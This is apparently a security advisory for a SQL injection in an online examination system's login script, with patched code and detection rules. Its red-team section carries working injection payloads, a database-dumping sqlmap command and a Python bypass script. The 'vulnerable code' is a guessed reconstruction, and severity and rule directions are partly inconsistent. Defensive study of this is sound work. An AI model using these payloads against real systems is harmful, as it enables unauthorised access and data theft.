CVE-2025-14668

Executive Summary

CVE-2025-14668 is a critical SQL injection vulnerability in the Campcodes Advanced Online Examination System version 1.0. The flaw resides in the /query/loginExe.php file, where the Username parameter is directly concatenated into a SQL query without sanitization or parameterization. An unauthenticated attacker can exploit this remotely to extract, modify, or delete database contents, bypass authentication, and potentially gain administrative access. The exploit has been publicly released, increasing the risk of widespread scanning and attacks. No official patch is available from the vendor, and no open-source patch data exists. The EPSS score is 0.0%, indicating low current exploitation activity, but the public PoC makes this a high-priority target for proactive defense.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application. However, organizations using this system should treat it as a supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Base Score: 7.3 (HIGH)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Potential for denial of service via SQL manipulation.

Threat Level: HIGH. The combination of remote exploitability, no authentication, and public PoC makes this a critical risk for any deployment of this software.

Deep Dive & Mechanics

The vulnerability exists in the login processing script /query/loginExe.php. The application likely constructs a SQL query similar to:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

The $username parameter is taken directly from the HTTP POST request without any sanitization, escaping, or prepared statements. An attacker can inject arbitrary SQL commands by providing a malicious username string.

For example, a classic injection payload:

' OR '1'='1' -- -

This would transform the query into:

SELECT * FROM users WHERE username = '' OR '1'='1' -- -' AND password = '$password'

The -- - comments out the rest of the query, bypassing authentication entirely. The attacker can then log in as the first user in the database, often an administrator.

Beyond authentication bypass, the attacker can use UNION-based SQL injection to extract data from other tables, enumerate database structure, or even write files if the database user has sufficient privileges. The Username parameter is the injection point, but other parameters in the same file may also be vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (loginExe.php):

<?php
$username = $_POST['Username'];
$password = $_POST['Password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
    // login success
} else {
    // login failed
}
?>

Patched Code (using prepared statements):

<?php
$username = $_POST['Username'];
$password = $_POST['Password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    // login success
} else {
    // login failed
}
?>

The patched version uses parameterized queries, which separate SQL logic from data, making injection impossible. Additionally, input validation (e.g., rejecting special characters) and output encoding should be implemented as defense-in-depth.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Campcodes Advanced Online Examination System 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the database is populated with test users.
3. Use a tool like Burp Suite or a simple Python script to send malicious requests.

Exploitation Steps:

1. Authentication Bypass: Send a POST request to /query/loginExe.php with the following payload:

   Username=' OR '1'='1' -- -&Password=anything
   

   This will log you in as the first user in the database.

2. Data Extraction (UNION-based): Use a payload to extract database version:

   Username=' UNION SELECT 1,@@version,3,4 -- -&Password=anything
   

   Adjust column count based on the original query (typically 4 columns in user table).

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/query/loginExe.php" --data="Username=test&Password=test" --batch --dbs
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://localhost/query/loginExe.php"
payload = {"Username": "' OR '1'='1' -- -", "Password": "anything"}
response = requests.post(target, data=payload)
if "Login successful" in response.text or "dashboard" in response.text:
    print("[+] Authentication bypass successful!")
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection & Response:

1. Monitor web server logs for SQL injection patterns in POST parameters (e.g., ' OR, UNION, --).
2. Deploy a Web Application Firewall (WAF) with rules to block common SQLi patterns.
3. Implement database activity monitoring to detect anomalous queries (e.g., UNION SELECT from login page).
4. Isolate the application server and restrict outbound database connections.

Immediate Mitigation:

• If patching is not possible, disable the login functionality or replace the vulnerable file with a patched version.
• Use a reverse proxy to filter malicious requests.
• Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /query/loginExe.php containing SQL keywords in the Username parameter.
• HTTP responses containing database error messages (e.g., "You have an error in your SQL syntax").
• Unusual login success events from unknown IPs.

File IOCs:

• Modified or new files in the web root (e.g., webshells like cmd.php).
• Suspicious entries in database logs (e.g., SELECT * FROM mysql.user).

Log IOCs:

• Apache/Nginx access logs showing:

  POST /query/loginExe.php HTTP/1.1" 200
  

  with parameters like Username=' OR '1'='1' -- -.
• Database query logs showing UNION SELECT statements from the application user.

Detection Engineering

YARA Rule

rule CVE_2025_14668_SQLi_LoginExe {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14668 in Campcodes Advanced Online Examination System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14668"
    strings:
        $sqli_pattern1 = /Username=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /loginExe\.php.*Username=.*%27/i
        $sqli_pattern3 = /Username=.*\bOR\b.*=.*/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-14668
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in POST requests to /query/loginExe.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/query/loginExe.php'
        cs-uri-query|contains: 
            - 'Username='
            - 'Password='
    keywords:
        - "' OR"
        - "' AND"
        - "UNION SELECT"
        - "-- -"
        - "1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14668 SQL Injection Attempt - Campcodes Advanced Online Examination System";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/query/loginExe.php"; http_uri;
    content:"Username="; http_client_body;
    pcre:"/Username=[^&]*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If the application is internet-facing, take it offline or restrict access via firewall rules.
2. Apply virtual patching: Use a WAF to block SQLi patterns targeting /query/loginExe.php.
3. Replace vulnerable code: Manually patch the loginExe.php file using prepared statements (see patched code above).
4. Change all credentials: Assume all user passwords and database credentials are compromised.

Long-term Remediation:

• Migrate to a supported and actively maintained examination system.
• Conduct a full security audit of the application for other vulnerabilities.
• Implement secure coding practices (input validation, parameterized queries, least privilege).
• Deploy a Web Application Firewall (WAF) and Intrusion Detection System (IDS).

Vendor Contact:

• Campcodes has not released a patch. Consider forking the project or replacing it entirely.

Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2025-14668 is illegal. Always obtain written permission before testing.